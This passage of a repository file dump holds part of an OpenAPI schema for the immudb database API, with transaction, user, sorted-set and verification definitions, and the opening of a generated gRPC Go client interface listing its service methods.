\"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If non-zero, only require transactions up to this transaction to be\\nindexed, newer transaction may still be pending\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"Deprecated: If set to true, do not wait for indexing to be done before finishing this call\"\n        },\n        \"inclusiveSeek\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, results will include seekKey\"\n        },\n        \"inclusiveEnd\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, results will include endKey if needed\"\n        },\n        \"offset\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Specify the initial entry to be returned by excluding the initial set of entries\"\n        }\n      }\n    },\n    \"schemaScore\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"score\": {\n          \"type\": \"number\",\n          \"format\": \"double\",\n          \"title\": \"Entry's score value\"\n        }\n      }\n    },\n    \"schemaServerInfoResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"version\": {\n          \"type\": \"string\",\n          \"description\": \"The version of the server instance.\"\n        },\n        \"startedAt\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"description\": \"Unix timestamp (seconds) indicating when the server process has been started.\"\n        },\n        \"numTransactions\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"description\": \"Total number of transactions across all databases.\"\n        },\n        \"numDatabases\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"description\": \"Total number of databases present.\"\n        },\n        \"databasesDiskSize\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"description\": \"Total disk size used by all databases.\"\n        }\n      },\n      \"description\": \"ServerInfoResponse contains information about the server instance.\"\n    },\n    \"schemaSetActiveUserRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"active\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, the user is active\"\n        },\n        \"username\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the user to activate / deactivate\"\n        }\n      }\n    },\n    \"schemaSetRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"KVs\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaKeyValue\"\n          },\n          \"title\": \"List of KV entries to set\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, do not wait for indexer to index ne entries\"\n        },\n        \"preconditions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaPrecondition\"\n          },\n          \"title\": \"Preconditions to be met to perform the write\"\n        }\n      }\n    },\n    \"schemaSignature\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"publicKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        },\n        \"signature\": {\n          \"type\": \"string\",\n          \"format\": \"byte\"\n        }\n      }\n    },\n    \"schemaTable\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tableName\": {\n          \"type\": \"string\",\n          \"title\": \"Table name\"\n        }\n      }\n    },\n    \"schemaTruncateDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"retentionPeriod\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Retention Period of data\"\n        }\n      }\n    },\n    \"schemaTruncateDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaTruncationNullableSettings\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"retentionPeriod\": {\n          \"$ref\": \"#/definitions/schemaNullableMilliseconds\",\n          \"title\": \"Retention Period for data in the database\"\n        },\n        \"truncationFrequency\": {\n          \"$ref\": \"#/definitions/schemaNullableMilliseconds\",\n          \"title\": \"Truncation Frequency for the database\"\n        }\n      }\n    },\n    \"schemaTx\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"header\": {\n          \"$ref\": \"#/definitions/schemaTxHeader\",\n          \"title\": \"Transaction header\"\n        },\n        \"entries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaTxEntry\"\n          },\n          \"title\": \"Raw entry values\"\n        },\n        \"kvEntries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaEntry\"\n          },\n          \"title\": \"KV entries in the transaction (parsed)\"\n        },\n        \"zEntries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaZEntry\"\n          },\n          \"title\": \"Sorted Set entries in the transaction (parsed)\"\n        }\n      }\n    },\n    \"schemaTxEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Raw key value (contains 1-byte prefix for kind of the key)\"\n        },\n        \"hValue\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Value hash\"\n        },\n        \"vLen\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Value length\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaKVMetadata\",\n          \"title\": \"Entry metadata\"\n        },\n        \"value\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"description\": \"value, must be ignored when len(value) == 0 and vLen \\u003e 0.\\nOtherwise sha256(value) must be equal to hValue.\"\n        }\n      }\n    },\n    \"schemaTxHeader\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"id\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Transaction ID\"\n        },\n        \"prevAlh\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"State value (Accumulative Hash - Alh) of the previous transaction\"\n        },\n        \"ts\": {\n          \"type\": \"string\",\n          \"format\": \"int64\",\n          \"title\": \"Unix timestamp of the transaction (in seconds)\"\n        },\n        \"nentries\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Number of entries in a transaction\"\n        },\n        \"eH\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Entries Hash - cumulative hash of all entries in the transaction\"\n        },\n        \"blTxId\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Binary linking tree transaction ID\\n(ID of last transaction already in the main Merkle Tree)\"\n        },\n        \"blRoot\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Binary linking tree root (Root hash of the Merkle Tree)\"\n        },\n        \"version\": {\n          \"type\": \"integer\",\n          \"format\": \"int32\",\n          \"title\": \"Header version\"\n        },\n        \"metadata\": {\n          \"$ref\": \"#/definitions/schemaTxMetadata\",\n          \"title\": \"Transaction metadata\"\n        }\n      }\n    },\n    \"schemaTxList\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"txs\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaTx\"\n          },\n          \"title\": \"List of transactions\"\n        }\n      }\n    },\n    \"schemaTxMetadata\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"truncatedTxID\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Entry expiration information\"\n        },\n        \"extra\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Extra data\"\n        }\n      },\n      \"title\": \"TxMetadata contains metadata set to whole transaction\"\n    },\n    \"schemaTxMode\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"ReadOnly\",\n        \"WriteOnly\",\n        \"ReadWrite\"\n      ],\n      \"default\": \"ReadOnly\",\n      \"title\": \"- ReadOnly: Read-only transaction\\n - WriteOnly: Write-only transaction\\n - ReadWrite: Read-write transaction\"\n    },\n    \"schemaTxScanRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"initialTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"ID of the transaction where scanning should start\"\n        },\n        \"limit\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Maximum number of transactions to scan, when not specified the default limit is used\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\",\n          \"title\": \"If set to true, scan transactions in descending order\"\n        },\n        \"entriesSpec\": {\n          \"$ref\": \"#/definitions/schemaEntriesSpec\",\n          \"title\": \"Specification of how to parse entries\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require\\nentries up to sinceTx to be indexed, will affect resolving references\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"Deprecated: If set to true, do not wait for the indexer to be up to date\"\n        }\n      }\n    },\n    \"schemaUnloadDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaUnloadDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        }\n      }\n    },\n    \"schemaUpdateDatabaseRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Updated settings\"\n        }\n      }\n    },\n    \"schemaUpdateDatabaseResponse\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"database\": {\n          \"type\": \"string\",\n          \"title\": \"Database name\"\n        },\n        \"settings\": {\n          \"$ref\": \"#/definitions/schemaDatabaseNullableSettings\",\n          \"title\": \"Current database settings\"\n        }\n      },\n      \"title\": \"Reserved to reply with more advanced response later\"\n    },\n    \"schemaUseDatabaseReply\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"token\": {\n          \"type\": \"string\",\n          \"title\": \"Deprecated: database access token\"\n        }\n      }\n    },\n    \"schemaUser\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"user\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Username\"\n        },\n        \"permissions\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaPermission\"\n          },\n          \"title\": \"List of permissions for the user\"\n        },\n        \"createdby\": {\n          \"type\": \"string\",\n          \"title\": \"Name of the creator user\"\n        },\n        \"createdat\": {\n          \"type\": \"string\",\n          \"title\": \"Time when the user was created\"\n        },\n        \"active\": {\n          \"type\": \"boolean\",\n          \"title\": \"Flag indicating whether the user is active or not\"\n        },\n        \"sqlPrivileges\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaSQLPrivilege\"\n          },\n          \"title\": \"List of SQL privileges\"\n        }\n      }\n    },\n    \"schemaUserList\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"users\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaUser\"\n          },\n          \"title\": \"List of users\"\n        }\n      }\n    },\n    \"schemaVerifiableEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"entry\": {\n          \"$ref\": \"#/definitions/schemaEntry\",\n          \"title\": \"Entry to verify\"\n        },\n        \"verifiableTx\": {\n          \"$ref\": \"#/definitions/schemaVerifiableTx\",\n          \"title\": \"Transaction to verify\"\n        },\n        \"inclusionProof\": {\n          \"$ref\": \"#/definitions/schemaInclusionProof\",\n          \"title\": \"Proof for inclusion of the entry within the transaction\"\n        }\n      }\n    },\n    \"schemaVerifiableGetRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"keyRequest\": {\n          \"$ref\": \"#/definitions/schemaKeyRequest\",\n          \"title\": \"Key to read\"\n        },\n        \"proveSinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"When generating the proof, generate consistency proof with state from this transaction\"\n        }\n      }\n    },\n    \"schemaVerifiableReferenceRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"referenceRequest\": {\n          \"$ref\": \"#/definitions/schemaReferenceRequest\",\n          \"title\": \"Reference data\"\n        },\n        \"proveSinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"When generating the proof, generate consistency proof with state from this\\ntransaction\"\n        }\n      }\n    },\n    \"schemaVerifiableSQLEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sqlEntry\": {\n          \"$ref\": \"#/definitions/schemaSQLEntry\",\n          \"title\": \"Raw row entry data\"\n        },\n        \"verifiableTx\": {\n          \"$ref\": \"#/definitions/schemaVerifiableTx\",\n          \"title\": \"Verifiable transaction of the row\"\n        },\n        \"inclusionProof\": {\n          \"$ref\": \"#/definitions/schemaInclusionProof\",\n          \"title\": \"Inclusion proof of the row in the transaction\"\n        },\n        \"DatabaseId\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Internal ID of the database (used to validate raw entry values)\"\n        },\n        \"TableId\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Internal ID of the table (used to validate raw entry values)\"\n        },\n        \"PKIDs\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"type\": \"integer\",\n            \"format\": \"int64\"\n          },\n          \"title\": \"Internal IDs of columns for the primary key (used to validate raw entry values)\"\n        },\n        \"ColNamesById\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"type\": \"string\"\n          },\n          \"title\": \"Mapping of used column IDs to their names\"\n        },\n        \"ColIdsByName\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"type\": \"integer\",\n            \"format\": \"int64\"\n          },\n          \"title\": \"Mapping of column names to their IDS\"\n        },\n        \"ColTypesById\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"type\": \"string\"\n          },\n          \"title\": \"Mapping of column IDs to their types\"\n        },\n        \"ColLenById\": {\n          \"type\": \"object\",\n          \"additionalProperties\": {\n            \"type\": \"integer\",\n            \"format\": \"int32\"\n          },\n          \"title\": \"Mapping of column IDs to their length constraints\"\n        },\n        \"MaxColId\": {\n          \"type\": \"integer\",\n          \"format\": \"int64\",\n          \"title\": \"Variable is used to assign unique ids to new columns as they are created\"\n        }\n      }\n    },\n    \"schemaVerifiableSQLGetRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"sqlGetRequest\": {\n          \"$ref\": \"#/definitions/schemaSQLGetRequest\",\n          \"title\": \"Data of row to query\"\n        },\n        \"proveSinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"When generating the proof, generate consistency proof with state from this transaction\"\n        }\n      }\n    },\n    \"schemaVerifiableSetRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"setRequest\": {\n          \"$ref\": \"#/definitions/schemaSetRequest\",\n          \"title\": \"Keys to set\"\n        },\n        \"proveSinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"When generating the proof, generate consistency proof with state from this transaction\"\n        }\n      }\n    },\n    \"schemaVerifiableTx\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"tx\": {\n          \"$ref\": \"#/definitions/schemaTx\",\n          \"title\": \"Transaction to verify\"\n        },\n        \"dualProof\": {\n          \"$ref\": \"#/definitions/schemaDualProof\",\n          \"title\": \"Proof for the transaction\"\n        },\n        \"signature\": {\n          \"$ref\": \"#/definitions/schemaSignature\",\n          \"title\": \"Signature for the new state value\"\n        }\n      }\n    },\n    \"schemaVerifiableZAddRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"zAddRequest\": {\n          \"$ref\": \"#/definitions/schemaZAddRequest\",\n          \"title\": \"Data for new sorted set entry\"\n        },\n        \"proveSinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"When generating the proof, generate consistency proof with state from this transaction\"\n        }\n      }\n    },\n    \"schemaZAddRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"set\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Name of the sorted set\"\n        },\n        \"score\": {\n          \"type\": \"number\",\n          \"format\": \"double\",\n          \"title\": \"Score of the new entry\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Referenced key\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If boundRef == true, id of the transaction to bind with the reference\"\n        },\n        \"boundRef\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, bind the reference to particular transaction, if false, use the\\nmost recent value of the key\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, do not wait for the indexer to index this write operation\"\n        }\n      }\n    },\n    \"schemaZEntries\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"entries\": {\n          \"type\": \"array\",\n          \"items\": {\n            \"$ref\": \"#/definitions/schemaZEntry\"\n          }\n        }\n      }\n    },\n    \"schemaZEntry\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"set\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Name of the sorted set\"\n        },\n        \"key\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Referenced key\"\n        },\n        \"entry\": {\n          \"$ref\": \"#/definitions/schemaEntry\",\n          \"title\": \"Referenced entry\"\n        },\n        \"score\": {\n          \"type\": \"number\",\n          \"format\": \"double\",\n          \"title\": \"Sorted set element's score\"\n        },\n        \"atTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"At which transaction the key is bound,\\n0 if reference is not bound and should read the most recent reference\"\n        }\n      }\n    },\n    \"schemaZScanRequest\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"set\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Name of the sorted set\"\n        },\n        \"seekKey\": {\n          \"type\": \"string\",\n          \"format\": \"byte\",\n          \"title\": \"Key to continue the search at\"\n        },\n        \"seekScore\": {\n          \"type\": \"number\",\n          \"format\": \"double\",\n          \"title\": \"Score of the entry to continue the search at\"\n        },\n        \"seekAtTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"AtTx of the entry to continue the search at\"\n        },\n        \"inclusiveSeek\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, include the entry given with the `seekXXX` attributes, if false,\\nskip the entry and start after that one\"\n        },\n        \"limit\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Maximum number of entries to return, if 0, the default limit will be used\"\n        },\n        \"desc\": {\n          \"type\": \"boolean\",\n          \"title\": \"If true, scan entries in descending order\"\n        },\n        \"minScore\": {\n          \"$ref\": \"#/definitions/schemaScore\",\n          \"title\": \"Minimum score of entries to scan\"\n        },\n        \"maxScore\": {\n          \"$ref\": \"#/definitions/schemaScore\",\n          \"title\": \"Maximum score of entries to scan\"\n        },\n        \"sinceTx\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"If \\u003e 0, do not wait for the indexer to index all entries, only require\\nentries up to sinceTx to be indexed\"\n        },\n        \"noWait\": {\n          \"type\": \"boolean\",\n          \"title\": \"Deprecated: If set to true, do not wait for the indexer to be up to date\"\n        },\n        \"offset\": {\n          \"type\": \"string\",\n          \"format\": \"uint64\",\n          \"title\": \"Specify the index of initial entry to be returned by excluding the initial\\nset of entries (alternative to seekXXX attributes)\"\n        }\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"bearer\": {\n      \"type\": \"apiKey\",\n      \"description\": \"Authentication token, prefixed by Bearer: Bearer \\u003ctoken\\u003e\",\n      \"name\": \"Authorization\",\n      \"in\": \"header\"\n    }\n  },\n  \"security\": [\n    {\n      \"bearer\": []\n    }\n  ]\n}\n"
  },
  {
    "path": "pkg/api/schema/schema_grpc.pb.go",
    "content": "// Code generated by protoc-gen-go-grpc. DO NOT EDIT.\n\npackage schema\n\nimport (\n\tcontext \"context\"\n\tgrpc \"google.golang.org/grpc\"\n\tcodes \"google.golang.org/grpc/codes\"\n\tstatus \"google.golang.org/grpc/status\"\n\temptypb \"google.golang.org/protobuf/types/known/emptypb\"\n)\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the grpc package it is being compiled against.\n// Requires gRPC-Go v1.32.0 or later.\nconst _ = grpc.SupportPackageIsVersion7\n\n// ImmuServiceClient is the client API for ImmuService service.\n//\n// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.\ntype ImmuServiceClient interface {\n\tListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error)\n\tCreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error)\n\tSetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\tUpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\tUpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tOpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error)\n\tCloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tKeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tNewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error)\n\tCommit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error)\n\tRollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tTxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tTxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error)\n\t// Deprecated: Do not use.\n\tLogin(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error)\n\t// Deprecated: Do not use.\n\tLogout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tSet(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error)\n\tVerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error)\n\tGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error)\n\tVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (*VerifiableEntry, error)\n\tDelete(ctx context.Context, in *DeleteKeysRequest, opts ...grpc.CallOption) (*TxHeader, error)\n\tGetAll(ctx context.Context, in *KeyListRequest, opts ...grpc.CallOption) (*Entries, error)\n\tExecAll(ctx context.Context, in *ExecAllRequest, opts ...grpc.CallOption) (*TxHeader, error)\n\tScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (*Entries, error)\n\t// NOT YET SUPPORTED\n\tCount(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error)\n\t// NOT YET SUPPORTED\n\tCountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error)\n\tTxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error)\n\tVerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error)\n\tTxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error)\n\tHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (*Entries, error)\n\t// ServerInfo returns information about the server instance.\n\t// ServerInfoRequest is defined for future extensions.\n\tServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error)\n\t// DEPRECATED: Use ServerInfo\n\tHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error)\n\tDatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error)\n\tCurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error)\n\tSetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error)\n\tVerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error)\n\tZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error)\n\tVerifiableZAdd(ctx context.Context, in *VerifiableZAddRequest, opts ...grpc.CallOption) (*VerifiableTx, error)\n\tZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use CreateDatabaseV2\n\tCreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use CreateDatabaseV2\n\tCreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tCreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error)\n\tLoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error)\n\tUnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error)\n\tDeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use DatabaseListV2\n\tDatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error)\n\tDatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error)\n\tUseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use UpdateDatabaseV2\n\tUpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\tUpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use GetDatabaseSettingsV2\n\tGetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error)\n\tGetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error)\n\tFlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error)\n\tCompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error)\n\t// Streams\n\tStreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error)\n\tStreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error)\n\tStreamVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (ImmuService_StreamVerifiableGetClient, error)\n\tStreamVerifiableSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamVerifiableSetClient, error)\n\tStreamScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (ImmuService_StreamScanClient, error)\n\tStreamZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (ImmuService_StreamZScanClient, error)\n\tStreamHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (ImmuService_StreamHistoryClient, error)\n\tStreamExecAll(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExecAllClient, error)\n\t// Replication\n\tExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error)\n\tReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error)\n\tStreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error)\n\tSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error)\n\t// For backward compatibility with the grpc-gateway API\n\tUnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error)\n\tSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error)\n\tListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error)\n\tDescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error)\n\tVerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error)\n\tTruncateDatabase(ctx 